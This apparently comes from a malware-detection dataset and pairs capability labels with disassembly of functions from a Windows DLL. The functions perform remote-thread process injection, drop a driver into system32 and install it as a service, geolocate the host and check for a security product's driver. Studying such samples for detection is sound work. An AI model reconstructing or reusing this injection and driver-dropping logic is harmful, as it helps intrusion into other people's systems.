joyce8/EMBER2024-capa huggingface dataset:
Function at 0x18000f490
Capabilities:
Check for time delay via gettickcount
Query service status
Start service

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rbp
push rdi
sub rsp, 0x60
xor edi, edi
call qword [sym.imp.KERNEL32.dll_GetTickCount]
xor edx, edx
xor ecx, ecx
mov r8d, 0xf003f
mov ebx, eax
call qword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov rbp, rax
test rax, rax
jne 0x18000f4d3
lea r11, [rsp + 0x60]
mov rbx, qword [r11 + 0x20]
mov rbp, qword [r11 + 0x28]
mov rsp, r11
pop rdi
ret
lea rdx, [0x180080e54]
mov r8d, 0x3c
mov rcx, rax
mov qword [rsp + 0x70], rsi
call qword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov rsi, rax
test rax, rax
jne 0x18000f506
mov rcx, rbp
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
xor eax, eax
jmp 0x18000f5f8
lea rax, [rsp + 0x78]
lea r8, [rsp + 0x30]
mov r9d, 0x24
xor edx, edx
mov rcx, rsi
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_QueryServiceStatusEx]
test eax, eax
je 0x18000f5b4
mov r8d, dword [rsp + 0x34]
lea rdx, str.DoStartServiceEx
xor ecx, ecx
call fcn.180028980
mov r11d, dword [rsp + 0x34]
cmp r11d, 4
je 0x18000f5e4
cmp r11d, 2
jne 0x18000f5b4
mov ecx, dword [rsp + 0x48]
call qword [sym.imp.KERNEL32.dll_Sleep]
lea r11, [rsp + 0x78]
lea r8, [rsp + 0x30]
mov r9d, 0x24
xor edx, edx
mov rcx, rsi
mov qword [rsp + 0x20], r11
call qword [sym.imp.ADVAPI32.dll_QueryServiceStatusEx]
test eax, eax
je 0x18000f5b4
mov r8d, dword [rsp + 0x34]
lea rdx, str.DoStartServiceEx
xor ecx, ecx
call fcn.180028980
cmp dword [rsp + 0x34], 4
je 0x18000f5e4
call qword [sym.imp.KERNEL32.dll_GetTickCount]
sub eax, ebx
cmp eax, 0x7530
ja 0x18000f5b4
cmp dword [rsp + 0x34], 2
je 0x18000f556
xor r8d, r8d
xor edx, edx
mov rcx, rsi
call qword [sym.imp.ADVAPI32.dll_StartServiceA]
mov edi, eax
test eax, eax
jne 0x18000f5e4
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov eax, 1
cmp ebx, 0x420
cmove edi, eax
mov rcx, rsi
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov rcx, rbp
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov eax, edi
mov rsi, qword [rsp + 0x70]
lea r11, [rsp + 0x60]
mov rbx, qword [r11 + 0x20]
mov rbp, qword [r11 + 0x28]
mov rsp, r11
pop rdi
ret
Function at 0x18000f610
Capabilities:
Query service status

Disassembly:
push rbx
sub rsp, 0x60
call qword [sym.imp.KERNEL32.dll_GetTickCount]
xor edx, edx
xor ecx, ecx
mov r8d, 0xf003f
call qword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov rbx, rax
test rax, rax
jne 0x18000f63a
add rsp, 0x60
pop rbx
ret
lea rdx, [0x180080e54]
mov r8d, 0x3c
mov rcx, rax
mov qword [rsp + 0x70], rsi
call qword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov rsi, rax
test rax, rax
jne 0x18000f673
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov rsi, qword [rsp + 0x70]
xor eax, eax
add rsp, 0x60
pop rbx
ret
lea rax, [rsp + 0x78]
mov qword [rsp + 0x80], rdi
xor edi, edi
lea r8, [rsp + 0x30]
lea r9d, [rdi + 0x24]
xor edx, edx
mov rcx, rsi
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_QueryServiceStatusEx]
test eax, eax
je 0x18000f6bf
mov r8d, dword [rsp + 0x34]
lea rdx, str.GetServiceStatus
xor ecx, ecx
call fcn.180028980
cmp dword [rsp + 0x34], 4
mov eax, 1
cmove edi, eax
mov rcx, rsi
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov rsi, qword [rsp + 0x70]
mov eax, edi
mov rdi, qword [rsp + 0x80]
add rsp, 0x60
pop rbx
ret
Function at 0x18000fdb0
Capabilities:
Create thread

Disassembly:
sub rsp, 0x48
xor eax, eax
mov r9, rdx
xor edx, edx
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], r8
xor r8d, r8d
mov qword [rsp + 0x68], rax
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov qword [rsp + 0x68], rax
test rax, rax
jne 0x18000fdee
call qword [sym.imp.KERNEL32.dll_GetLastError]
xor eax, eax
add rsp, 0x48
ret
mov edx, 0x5dc
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
cmp eax, 0xffffffff
je 0x18000fde1
mov rax, qword [rsp + 0x68]
add rsp, 0x48
ret

Function at 0x18000fe10
Capabilities:
Create thread
Inject thread

Disassembly:
mov qword [rsp + 8], rbx
push rsi
push rdi
push r12
push r13
push r14
sub rsp, 0x60
mov esi, edx
mov r13, rcx
call fcn.180033ed0
cmp eax, 1
je 0x18000fe37
xor eax, eax
jmp 0x18000ffbf
xor edi, edi
mov qword [rsp + 0x48], rdi
mov rbx, rdi
mov qword [rsp + 0x40], rbx
mov r12, rdi
mov qword [rsp + 0x50], rdi
mov qword [rsp + 0xa8], rdi
mov r8d, esi
lea edx, [rdi + 1]
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rsi, rax
mov qword [rsp + 0x48], rax
test rax, rax
je 0x18000ff87
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_lstrlenW]
lea ecx, [rax + rax + 2]
movsxd r14, ecx
mov dword [rsp + 0x20], 4
mov r9d, 0x1000
mov r8, r14
xor edx, edx
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov r12, rax
mov qword [rsp + 0x50], rax
test rax, rax
jne 0x18000febc
call qword [sym.imp.KERNEL32.dll_GetLastError]
jmp 0x18000ff87
lea rax, [rsp + 0xa8]
mov qword [rsp + 0x20], rax
mov r9, r14
mov r8, r13
mov rdx, r12
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x18000ff87
mov r9, rdi
cmp dword [0x1800a5990], 0x11111111
jne 0x18000fef9
movsxd r9, dword [0x1800a5988]
test r9, r9
je 0x18000ff87
mov qword [rsp + 0xa0], rdi
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], edi
mov qword [rsp + 0x20], r12
xor r8d, r8d
xor edx, edx
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov qword [rsp + 0xa0], rax
test rax, rax
jne 0x18000ff43
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov rbx, rdi
mov qword [rsp + 0x40], rbx
jmp 0x18000ff87
or edx, 0xffffffff
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
cmp eax, 0xffffffff
jne 0x18000ff64
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov rbx, rdi
mov qword [rsp + 0x40], rbx
jmp 0x18000ff87
mov rbx, qword [rsp + 0xa0]
mov qword [rsp + 0x40], rbx
test rbx, rbx
je 0x18000ff87
or edx, 0xffffffff
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov edi, 1
test r12, r12
je 0x18000ffa1
mov r9d, 0x8000
xor r8d, r8d
mov rdx, r12
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
test rbx, rbx
je 0x18000ffaf
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test rsi, rsi
je 0x18000ffbd
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, edi
mov rbx, qword [rsp + 0x90]
add rsp, 0x60
pop r14
pop r13
pop r12
pop rdi
pop rsi
ret
Function at 0x180010160
Capabilities:
Check if file exists
Read file on windows
Write file on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x260
mov rax, qword [0x1800964f0]
xor rax, rsp
mov qword [rsp + 0x250], rax
xor ebp, ebp
lea rcx, [rsp + 0x51]
xor edx, edx
mov esi, ebp
mov r8d, 0x1ff
mov byte [rsp + 0x50], sil
call fcn.180055310
mov ebx, ebp
nop word [rax + rax]
mov qword [rsp + 0x30], rbp
lea rcx, str..pipegetfuncaddrpipe
xor r9d, r9d
xor r8d, r8d
mov edx, 0xc0000000
mov dword [rsp + 0x28], ebp
mov dword [rsp + 0x20], 3
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rdi, rax
cmp rax, 0xffffffffffffffff
jne 0x180010226
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 2
jne 0x1800101fc
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Sleep]
inc ebx
jmp 0x180010221
cmp eax, 0xe7
jne 0x1800102b1
lea rcx, str..pipegetfuncaddrpipe
mov edx, 0x2710
call qword [sym.imp.KERNEL32.dll_WaitNamedPipeA]
test eax, eax
je 0x1800102b1
cmp ebx, 0x14
jl 0x1800101b0
lea rdx, [rsp + 0x48]
xor r9d, r9d
xor r8d, r8d
mov rcx, rdi
mov dword [rsp + 0x48], 2
call qword [sym.imp.KERNEL32.dll_SetNamedPipeHandleState]
test eax, eax
je 0x1800102b1
lea rcx, str.GetSysFuncAddr
call qword [sym.imp.KERNEL32.dll_lstrlenA]
lea r9, [rsp + 0x44]
lea rdx, str.GetSysFuncAddr
lea r8d, [rax + 1]
mov rcx, rdi
mov qword [rsp + 0x20], rbp
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x1800102b1
nop word [rax + rax]
lea r9, [rsp + 0x40]
lea rdx, [rsp + 0x50]
mov r8d, 0x200
mov rcx, rdi
mov qword [rsp + 0x20], rbp
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x1800102b5
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xea
je 0x180010280
jmp 0x1800102e4
xor eax, eax
jmp 0x18001031e
cmp dword [rsp + 0x40], 0xc
jne 0x1800102e4
cmp dword [rsp + 0x58], 0x11111111
lea rcx, [rsp + 0x50]
mov rax, qword [rcx]
mov qword [0x1800a5988], rax
mov eax, dword [rcx + 8]
mov dword [0x1800a5990], eax
mov eax, 1
cmove esi, eax
lea rcx, str.ExitGetFuncAddrProc
call qword [sym.imp.KERNEL32.dll_lstrlenA]
lea r9, [rsp + 0x44]
lea rdx, str.ExitGetFuncAddrProc
lea r8d, [rax + 1]
mov rcx, rdi
mov qword [rsp + 0x20], rbp
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x18001031c
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, esi
mov rcx, qword [rsp + 0x250]
xor rcx, rsp
call fcn.180050540
lea r11, [rsp + 0x260]
mov rbx, qword [r11 + 0x10]
mov rbp, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rsp, r11
pop rdi
ret
Function at 0x180011780
Capabilities:
Create service
Start service

Disassembly:
mov rax, rsp
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r12
sub rsp, 0x70
xor r12d, r12d
mov rdi, r8
mov r9d, 0xf01ff
mov qword [rax - 0x18], r12
mov qword [rax - 0x20], r12
mov qword [rax - 0x28], r12
mov qword [rax - 0x30], r12
mov qword [rax - 0x38], r12
mov qword [rax - 0x40], rcx
mov dword [rax - 0x48], r12d
mov dword [rax - 0x50], 3
mov rcx, rdi
mov r8, rdx
mov dword [rax - 0x58], 1
mov rbx, rdx
call qword [sym.imp.ADVAPI32.dll_CreateServiceA]
mov rsi, rax
test rax, rax
jne 0x180011806
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x3e5
je 0x180011806
cmp eax, 0x431
je 0x180011806
mov rcx, rdi
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
xor eax, eax
jmp 0x1800118b1
mov r8d, 0x10030
mov rdx, rbx
mov rcx, rdi
mov qword [rsp + 0x80], rbp
call qword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov rbp, rax
test rax, rax
jne 0x180011849
test rsi, rsi
je 0x180011836
mov rcx, rsi
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov rcx, rdi
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
call qword [sym.imp.KERNEL32.dll_GetLastError]
xor eax, eax
jmp 0x1800118a9
xor r8d, r8d
xor edx, edx
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_StartServiceA]
mov ebx, eax
test eax, eax
jne 0x18001188c
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x3e5
je 0x180011889
cmp eax, 0x420
je 0x180011882
cmp eax, 0xb7
jne 0x180011889
cmp eax, eax
mov ebx, r12d
sete bl
jmp 0x18001188c
mov ebx, 1
jmp 0x18001188c
mov ebx, r12d
mov rcx, rbp
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov rcx, rsi
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov rcx, rdi
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov eax, ebx
mov rbp, qword [rsp + 0x80]
lea r11, [rsp + 0x70]
mov rbx, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rdi, qword [r11 + 0x28]
mov rsp, r11
pop r12
ret
Function at 0x1800118d0
Capabilities:
Delete file

Disassembly:
mov qword [rsp + 0x18], rbx
push rdi
sub rsp, 0x150
mov rax, qword [0x1800964f0]
xor rax, rsp
mov qword [rsp + 0x140], rax
mov rax, qword [str.SYSTEMCurrentControlSet_services_]
mov rbx, rdx
mov rdx, rcx
lea rcx, [rsp + 0x40]
lea rdi, [rsp + 0x40]
mov qword [rcx], rax
mov rax, qword [0x180080fd8]
mov qword [rcx + 8], rax
mov rax, qword [0x180080fe0]
mov qword [rcx + 0x10], rax
mov rax, qword [0x180080fe8]
mov qword [rcx + 0x18], rax
movzx eax, word [0x180080ff0]
mov word [rcx + 0x20], ax
movzx eax, byte [0x180080ff2]
mov byte [rcx + 0x22], al
xor eax, eax
or rcx, 0xffffffffffffffff
repne scasb al, byte [rdi]
xor ecx, ecx
nop dword [rax]
movzx eax, byte [rdx + rcx]
inc rcx
mov byte [rdi + rcx - 2], al
test al, al
jne 0x180011950
lea rax, [rsp + 0x30]
lea rdx, [rsp + 0x40]
mov r9d, 0x2001f
xor r8d, r8d
mov rcx, 0xffffffff80000002
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x18001199e
lea r8, [rsp + 0x30]
lea rdx, [rsp + 0x40]
mov rcx, 0xffffffff80000002
call fcn.180037700
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
mov eax, 1
mov rcx, qword [rsp + 0x140]
xor rcx, rsp
call fcn.180050540
mov rbx, qword [rsp + 0x170]
add rsp, 0x150
pop rdi
ret
Function at 0x180011cc0
Capabilities:
Extract resource via kernel32 functions
Write file on windows

Disassembly:
sub rsp, 0x168
mov rax, qword [0x1800964f0]
xor rax, rsp
mov qword [rsp + 0x150], rax
lea rcx, [rsp + 0x41]
xor edx, edx
mov r8d, 0x103
mov byte [rsp + 0x40], 0
call fcn.180055310
mov qword [rsp + 0x30], 0
lea rcx, str..TOMMAO
xor r9d, r9d
xor r8d, r8d
mov edx, 0xc0000000
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
call qword [sym.imp.KERNEL32.dll_CreateFileA]
cmp rax, 0xffffffffffffffff
jne 0x180011f0f
mov rcx, qword [0x1800a2978]
mov qword [rsp + 0x170], rbx
lea r8, [0x180082bdc]
lea edx, [rax + 0x6f]
mov qword [rsp + 0x188], rdi
xor ebx, ebx
call qword [sym.imp.KERNEL32.dll_FindResourceA]
mov rdi, rax
test rax, rax
je 0x180011f0b
mov rcx, qword [0x1800a2978]
mov qword [rsp + 0x178], rbp
mov rdx, rax
mov qword [rsp + 0x180], rsi
mov qword [rsp + 0x160], r12
call qword [sym.imp.KERNEL32.dll_SizeofResource]
mov rcx, qword [0x1800a2978]
mov rdx, rdi
mov ebp, eax
call qword [sym.imp.KERNEL32.dll_LoadResource]
mov rcx, rax
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_LockResource]
xor ecx, ecx
lea rdx, str.C:windows_system32_
mov r12, rax
nop word [rax + rax]
movzx eax, byte [rcx + rdx]
inc rcx
mov byte [rsp + rcx + 0x3f], al
test al, al
jne 0x180011dc0
xor eax, eax
or rcx, 0xffffffffffffffff
lea rdi, [rsp + 0x40]
repne scasb al, byte [rdi]
mov rax, qword [str.TOMMAO.sys]
lea rdx, [0x180080678]
mov qword [rdi - 1], rax
movzx eax, word [0x180081018]
lea rcx, [rsp + 0x40]
mov word [rdi + 7], ax
movzx eax, byte [0x18008101a]
mov byte [rdi + 9], al
call fcn.180050a28
mov rdi, rax
test rax, rax
je 0x180011e36
mov rdx, rbp
mov r9, rax
mov r8d, 1
mov rcx, r12
call fcn.180050ccc
mov rcx, rdi
call fcn.1800511e8
mov ebx, 1
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_FreeResource]
mov r12, qword [rsp + 0x160]
mov rsi, qword [rsp + 0x180]
mov rbp, qword [rsp + 0x178]
test ebx, ebx
je 0x180011f0b
xor edx, edx
xor ecx, ecx
mov r8d, 0xf003f
call qword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
test rax, rax
jne 0x180011e7c
call qword [sym.imp.KERNEL32.dll_GetLastError]
jmp 0x180011e90
lea rdx, str.TOMMAOGO
lea rcx, [rsp + 0x40]
mov r8, rax
call fcn.180011780
lea rcx, str.TOMMAOGO
xor edx, edx
call fcn.1800118d0
mov qword [rsp + 0x30], 0
lea rcx, str..TOMMAO
xor r9d, r9d
xor r8d, r8d
mov edx, 0xc0000000
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
call qword [sym.imp.KERNEL32.dll_CreateFileA]
cmp rax, 0xffffffffffffffff
je 0x180011f0b
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
mov rbx, qword [rsp + 0x170]
mov rdi, qword [rsp + 0x188]
mov rcx, qword [rsp + 0x150]
xor rcx, rsp
call fcn.180050540
add rsp, 0x168
ret
xor eax, eax
jmp 0x180011ee3
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
mov rcx, qword [rsp + 0x150]
xor rcx, rsp
call fcn.180050540
add rsp, 0x168
ret
Function at 0x180012d00
Capabilities:
Delete file

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x160
mov rax, qword [0x1800964f0]
xor rax, rsp
mov qword [rsp + 0x150], rax
lea rcx, [rsp + 0x41]
xor ebx, ebx
xor edx, edx
mov r8d, 0x103
mov byte [rsp + 0x40], bl
call fcn.180055310
mov qword [rsp + 0x30], rbx
lea rcx, str..ClitSec
xor r9d, r9d
xor r8d, r8d
mov edx, 0xc0000000
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
call qword [sym.imp.KERNEL32.dll_CreateFileA]
cmp rax, 0xffffffffffffffff
jne 0x180012e2f
call fcn.1800336e0
mov rcx, qword [0x1800a2978]
lea r8, [0x180082bdc]
lea edx, [rbx + 0x7d]
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_FindResourceA]
test rax, rax
je 0x180012e3d
lea r8, [rsp + 0x40]
lea rdx, str.myte.sys
mov r9, rax
mov rcx, rdi
call fcn.1800335f0
test eax, eax
je 0x180012e3d
xor edx, edx
mov r8d, 0xf003f
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
test rax, rax
jne 0x180012dd2
call qword [sym.imp.KERNEL32.dll_GetLastError]
jmp 0x180012de6
lea rdx, str.ClitSec
lea rcx, [rsp + 0x40]
mov r8, rax
call fcn.180011780
lea rcx, str.ClitSec
xor edx, edx
call fcn.1800118d0
mov qword [rsp + 0x30], rbx
lea rcx, str..ClitSec
xor r9d, r9d
xor r8d, r8d
mov edx, 0xc0000000
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
call qword [sym.imp.KERNEL32.dll_CreateFileA]
cmp rax, 0xffffffffffffffff
jne 0x180012e2f
call qword [sym.imp.KERNEL32.dll_GetLastError]
jmp 0x180012e3d
mov rcx, rax
mov ebx, 1
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
mov eax, ebx
mov rcx, qword [rsp + 0x150]
xor rcx, rsp
call fcn.180050540
mov rbx, qword [rsp + 0x170]
add rsp, 0x160
pop rdi
ret
Function at 0x180022990
Capabilities:
Get geographical location

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x540
mov rax, qword [0x1800964f0]
xor rax, rsp
mov qword [rsp + 0x530], rax
mov rsi, rcx
lea rcx, [rsp + 0x131]
xor edx, edx
mov r8d, 0x3ff
mov byte [rsp + 0x130], 0
call fcn.180055310
lea rcx, [rsp + 0x21]
xor edx, edx
mov r8d, 0x103
mov byte [rsp + 0x20], 0
call fcn.180055310
lea rdx, str.http:__pv.sohu.com_cityjson
lea rcx, [rsp + 0x20]
call fcn.18005151c
lea rdx, [rsp + 0x130]
lea rcx, [rsp + 0x20]
call fcn.180035200
test eax, eax
je 0x180022add
lea r8, [rsp + 0x130]
lea rdx, str.buf_Is__s
xor ecx, ecx
call fcn.180028980
lea rdx, str._cid_:__
lea rcx, [rsp + 0x130]
call qword [sym.imp.SHLWAPI.dll_StrStrIA]
test rax, rax
je 0x180022add
lea rdx, str._cid_:__
lea rcx, [rsp + 0x130]
call qword [sym.imp.SHLWAPI.dll_StrStrIA]
lea rdx, str.szCityID_Is__s
xor ecx, ecx
mov r8, rax
mov rbx, rax
call fcn.180028980
test rbx, rbx
je 0x180022add
add rbx, 8
lea rdx, str.szCityID_Is__s
xor ecx, ecx
mov r8, rbx
call fcn.180028980
mov edx, 0x22
mov rcx, rbx
call qword [sym.imp.SHLWAPI.dll_StrChrIA]
lea rdx, str.szEndCityID_Is__s
xor ecx, ecx
mov r8, rax
mov rdi, rax
call fcn.180028980
sub rdi, rbx
test rdi, rdi
jle 0x180022add
mov r8, rdi
mov rdx, rbx
mov rcx, rsi
call fcn.180051c00
lea rdx, str.cityId_Is__s
mov r8, rsi
xor ecx, ecx
call fcn.180028980
mov eax, 1
jmp 0x180022adf
xor eax, eax
mov rcx, qword [rsp + 0x530]
xor rcx, rsp
call fcn.180050540
lea r11, [rsp + 0x540]
mov rbx, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rsp, r11
pop rdi
ret
Function at 0x180022b10
Capabilities:
Check if file exists
Create thread
Get geographical location

Disassembly:
push rdi
sub rsp, 0x150
mov rax, qword [0x1800964f0]
xor rax, rsp
mov qword [rsp + 0x140], rax
xor edi, edi
cmp dword [0x1800a30cc], edi
je 0x180022b52
lea r8, [0x180022770]
xor r9d, r9d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x28], rdi
mov dword [rsp + 0x20], edi
call qword [sym.imp.KERNEL32.dll_CreateThread]
cmp dword [0x1800a33f8], edi
je 0x180022b77
lea r8, [0x180023340]
xor r9d, r9d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x28], rdi
mov dword [rsp + 0x20], edi
call qword [sym.imp.KERNEL32.dll_CreateThread]
cmp dword [0x1800a31d4], edi
jne 0x180022b8b
cmp dword [0x1800a3a5c], edi
je 0x180022c5e
mov qword [rsp + 0x160], rbx
lea rcx, [rsp + 0x31]
mov ebx, edi
xor edx, edx
mov r8d, 0x103
mov byte [rsp + 0x30], bl
call fcn.180055310
lea rcx, str.c:windows_system32drivers_sysdiag.sys
call qword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
jne 0x180022c48
cmp dword [0x1800a32ec], ebx
jne 0x180022c06
lea rcx, [rsp + 0x30]
call fcn.180022990
test eax, eax
je 0x180022c06
lea r8, [rsp + 0x30]
lea rdx, str.City_ID_Is__s
xor ecx, ecx
call fcn.180028980
lea rdx, str.42010
lea rcx, [rsp + 0x30]
call qword [sym.imp.SHLWAPI.dll_StrStrIA]
mov ecx, 1
test rax, rax
cmovne ebx, ecx
lea rdx, str.bShouldFobid_Is__d
mov r8d, ebx
xor ecx, ecx
call fcn.180028980
test ebx, ebx
jne 0x180022c56
lea rdx, str.Begin_To_Install_Clear_Driver_
xor ecx, ecx
call fcn.180028980
lea r8, [0x1800228f0]
xor r9d, r9d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x28], rdi
mov dword [rsp + 0x20], edi
call qword [sym.imp.KERNEL32.dll_CreateThread]
jmp 0x180022c56
lea rdx, str.Software_Run_Env_Happen_Exception_
xor ecx, ecx
call fcn.180028980
mov rbx, qword [rsp + 0x160]
cmp dword [0x1800a2fbc], edi
jne 0x180022c6e
cmp dword [0x1800a30c4], edi
je 0x180022c8b
lea r8, [0x1800231c0]
xor r9d, r9d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x28], rdi
mov dword [rsp + 0x20], edi
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rcx, qword [rsp + 0x140]
xor rcx, rsp
call fcn.180050540
add rsp, 0x150
pop rdi
ret
Function at 0x180022f40
Capabilities:
Check for time delay via gettickcount
Query service status
Stop service

Disassembly:
mov qword [rsp + 0x20], rbp
push rdi
sub rsp, 0x60
call qword [sym.imp.KERNEL32.dll_GetTickCount]
xor edx, edx
xor ecx, ecx
mov r8d, 0xf003f
mov edi, eax
call qword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov rbp, rax
test rax, rax
jne 0x180022f78
mov rbp, qword [rsp + 0x88]
add rsp, 0x60
pop rdi
ret
lea rdx, [0x180080e54]
mov r8d, 0x2c
mov rcx, rax
mov qword [rsp + 0x80], rsi
call qword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov rsi, rax
test rax, rax
jne 0x180022fae
mov rcx, rbp
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
xor eax, eax
jmp 0x1800230de
lea rax, [rsp + 0x78]
lea r8, [rsp + 0x30]
mov r9d, 0x24
xor edx, edx
mov rcx, rsi
mov qword [rsp + 0x70], rbx
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_QueryServiceStatusEx]
test eax, eax
je 0x1800230c3
mov eax, dword [rsp + 0x34]
cmp eax, 1
je 0x1800230bc
cmp eax, 3
jne 0x180023047
nop dword [rax]
mov ecx, dword [rsp + 0x48]
call qword [sym.imp.KERNEL32.dll_Sleep]
lea r11, [rsp + 0x78]
lea r8, [rsp + 0x30]
mov r9d, 0x24
xor edx, edx
mov rcx, rsi
mov qword [rsp + 0x20], r11
call qword [sym.imp.ADVAPI32.dll_QueryServiceStatusEx]
test eax, eax
je 0x1800230c3
cmp dword [rsp + 0x34], 1
je 0x1800230bc
call qword [sym.imp.KERNEL32.dll_GetTickCount]
sub eax, edi
cmp eax, 0x7530
ja 0x1800230c3
cmp dword [rsp + 0x34], 3
je 0x180022ff0
mov rdx, rsi
mov rcx, rbp
call fcn.180022cb0
mov ebx, 1
lea r8, [rsp + 0x30]
mov edx, ebx
mov rcx, rsi
call qword [sym.imp.ADVAPI32.dll_ControlService]
test eax, eax
je 0x1800230c3
cmp dword [rsp + 0x34], ebx
je 0x1800230c5
mov ecx, dword [rsp + 0x48]
call qword [sym.imp.KERNEL32.dll_Sleep]
lea r11, [rsp + 0x78]
lea r8, [rsp + 0x30]
mov r9d, 0x24
xor edx, edx
mov rcx, rsi
mov qword [rsp + 0x20], r11
call qword [sym.imp.ADVAPI32.dll_QueryServiceStatusEx]
test eax, eax
je 0x1800230c3
cmp dword [rsp + 0x34], ebx
je 0x1800230c5
call qword [sym.imp.KERNEL32.dll_GetTickCount]
sub eax, edi
cmp eax, 0x7530
ja 0x1800230c3
cmp dword [rsp + 0x34], ebx
jne 0x180023071
jmp 0x1800230c5
mov ebx, 1
jmp 0x1800230c5
xor ebx, ebx
mov rcx, rsi
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov rcx, rbp
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov eax, ebx
mov rbx, qword [rsp + 0x70]
mov rsi, qword [rsp + 0x80]
mov rbp, qword [rsp + 0x88]
add rsp, 0x60
pop rdi
ret
Function at 0x180023100
Capabilities:
Start service

Disassembly:
push rdi
sub rsp, 0x20
xor edx, edx
xor ecx, ecx
mov r8d, 0xf003f
call qword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov rdi, rax
test rax, rax
jne 0x180023124
add rsp, 0x20
pop rdi
ret
lea rdx, [0x180080e54]
mov r8d, 0x3c
mov rcx, rax
mov qword [rsp + 0x38], rbp
call qword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov rbp, rax
test rax, rax
jne 0x18002315d
mov rcx, rdi
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
